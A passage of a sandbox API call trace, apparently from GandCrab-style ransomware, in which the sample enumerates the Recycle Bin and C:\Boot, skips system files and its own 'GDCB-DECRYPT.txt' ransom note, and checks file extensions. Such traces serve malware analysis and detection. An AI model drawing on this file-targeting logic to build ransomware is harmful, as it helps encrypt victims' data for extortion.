lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7780 [0135.165] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.165] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.166] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.166] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.166] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.166] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.166] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini" [0135.166] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.166] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0135.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0135.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0135.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0135.166] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0135.166] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.166] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.166] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.166] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.166] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0135.166] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.166] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0135.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0135.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0135.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.166] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.166] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.167] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.167] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.167] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0135.167] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.167] FindNextFileW (in: hFindFile=0x2c75c0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0135.167] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0135.167] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0135.167] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0135.167] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0135.167] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.167] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.167] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.167] lstrlenW (lpString="C:\\Boot\\") returned 8 [0135.167] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0135.167] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x2c7a40 [0135.167] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.167] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0135.168] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0135.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0135.168] lstrcmpW (lpString1=".LOG", lpString2=".sql") returned -1 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0135.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0135.168] lstrcmpW (lpString1=".LOG1", lpString2=".sql") returned -1 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0135.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0135.168] lstrcmpW (lpString1=".LOG2", lpString2=".sql") returned -1 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bg-BG" | out: lpString1="C:\\Boot\\bg-BG") returned="C:\\Boot\\bg-BG" [0135.168] lstrlenW (lpString="C:\\Boot\\bg-BG") returned 13 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0135.168] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0135.168] lstrcmpW (lpString1=".DAT", lpString2=".sql") returned -1 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="bootvhd.dll", lpString2=".") returned 1 [0135.168] lstrcmpW (lpString1="bootvhd.dll", lpString2="..") returned 1 [0135.168] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bootvhd.dll" | out: lpString1="C:\\Boot\\bootvhd.dll") returned="C:\\Boot\\bootvhd.dll" [0135.168] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0135.168] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0135.168] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.168] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0135.169] lstrlenW (lpString="C:\\Boot\\cs-CZ") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0135.169] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0135.169] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0135.169] lstrlenW (lpString="C:\\Boot\\el-GR") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="en-GB", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="en-GB", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-GB" | out: lpString1="C:\\Boot\\en-GB") returned="C:\\Boot\\en-GB" [0135.169] lstrlenW (lpString="C:\\Boot\\en-GB") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0135.169] lstrlenW (lpString="C:\\Boot\\en-US") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0135.169] lstrlenW (lpString="C:\\Boot\\es-ES") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="es-MX", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="es-MX", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-MX" | out: lpString1="C:\\Boot\\es-MX") returned="C:\\Boot\\es-MX" [0135.169] lstrlenW (lpString="C:\\Boot\\es-MX") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="et-EE" | out: lpString1="C:\\Boot\\et-EE") returned="C:\\Boot\\et-EE" [0135.169] lstrlenW (lpString="C:\\Boot\\et-EE") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0135.169] lstrlenW (lpString="C:\\Boot\\fi-FI") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0135.169] lstrlenW (lpString="C:\\Boot\\Fonts") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.169] lstrcmpW (lpString1="fr-CA", lpString2=".") returned 1 [0135.169] lstrcmpW (lpString1="fr-CA", lpString2="..") returned 1 [0135.169] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-CA" | out: lpString1="C:\\Boot\\fr-CA") returned="C:\\Boot\\fr-CA" [0135.169] lstrlenW (lpString="C:\\Boot\\fr-CA") returned 13 [0135.169] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0135.170] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\GDCB-DECRYPT.txt") returned="C:\\Boot\\GDCB-DECRYPT.txt" [0135.170] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0135.170] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hr-HR" | out: lpString1="C:\\Boot\\hr-HR") returned="C:\\Boot\\hr-HR" [0135.170] lstrlenW (lpString="C:\\Boot\\hr-HR") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0135.170] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0135.170] lstrlenW (lpString="C:\\Boot\\it-IT") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0135.170] lstrlenW (lpString="C:\\Boot\\ja-JP") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0135.170] lstrlenW (lpString="C:\\Boot\\ko-KR") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="lt-LT", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="lt-LT", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lt-LT" | out: lpString1="C:\\Boot\\lt-LT") returned="C:\\Boot\\lt-LT" [0135.170] lstrlenW (lpString="C:\\Boot\\lt-LT") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="lv-LV", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="lv-LV", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="lv-LV" | out: lpString1="C:\\Boot\\lv-LV") returned="C:\\Boot\\lv-LV" [0135.170] lstrlenW (lpString="C:\\Boot\\lv-LV") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="memtest.exe", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="memtest.exe", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0135.170] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0135.170] lstrcmpW (lpString1=".exe", lpString2=".sql") returned -1 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0135.170] lstrlenW (lpString="C:\\Boot\\nb-NO") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.170] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0135.170] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0135.170] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="nl-NL" | out: lpString1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0135.170] lstrlenW (lpString="C:\\Boot\\nl-NL") returned 13 [0135.170] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pl-PL" | out: lpString1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0135.171] lstrlenW (lpString="C:\\Boot\\pl-PL") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-BR" | out: lpString1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0135.171] lstrlenW (lpString="C:\\Boot\\pt-BR") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0135.171] lstrlenW (lpString="C:\\Boot\\pt-PT") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="qps-ploc", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="qps-ploc", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="qps-ploc" | out: lpString1="C:\\Boot\\qps-ploc") returned="C:\\Boot\\qps-ploc" [0135.171] lstrlenW (lpString="C:\\Boot\\qps-ploc") returned 16 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="Resources", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="Resources", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Resources" | out: lpString1="C:\\Boot\\Resources") returned="C:\\Boot\\Resources" [0135.171] lstrlenW (lpString="C:\\Boot\\Resources") returned 17 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ro-RO" | out: lpString1="C:\\Boot\\ro-RO") returned="C:\\Boot\\ro-RO" [0135.171] lstrlenW (lpString="C:\\Boot\\ro-RO") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0135.171] lstrlenW (lpString="C:\\Boot\\ru-RU") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sk-SK" | out: lpString1="C:\\Boot\\sk-SK") returned="C:\\Boot\\sk-SK" [0135.171] lstrlenW (lpString="C:\\Boot\\sk-SK") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="sl-SI", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="sl-SI", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sl-SI" | out: lpString1="C:\\Boot\\sl-SI") returned="C:\\Boot\\sl-SI" [0135.171] lstrlenW (lpString="C:\\Boot\\sl-SI") returned 13 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-CS" | out: lpString1="C:\\Boot\\sr-Latn-CS") returned="C:\\Boot\\sr-Latn-CS" [0135.171] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS") returned 18 [0135.171] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.171] lstrcmpW (lpString1="sr-Latn-RS", lpString2=".") returned 1 [0135.171] lstrcmpW (lpString1="sr-Latn-RS", lpString2="..") returned 1 [0135.171] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-RS" | out: lpString1="C:\\Boot\\sr-Latn-RS") 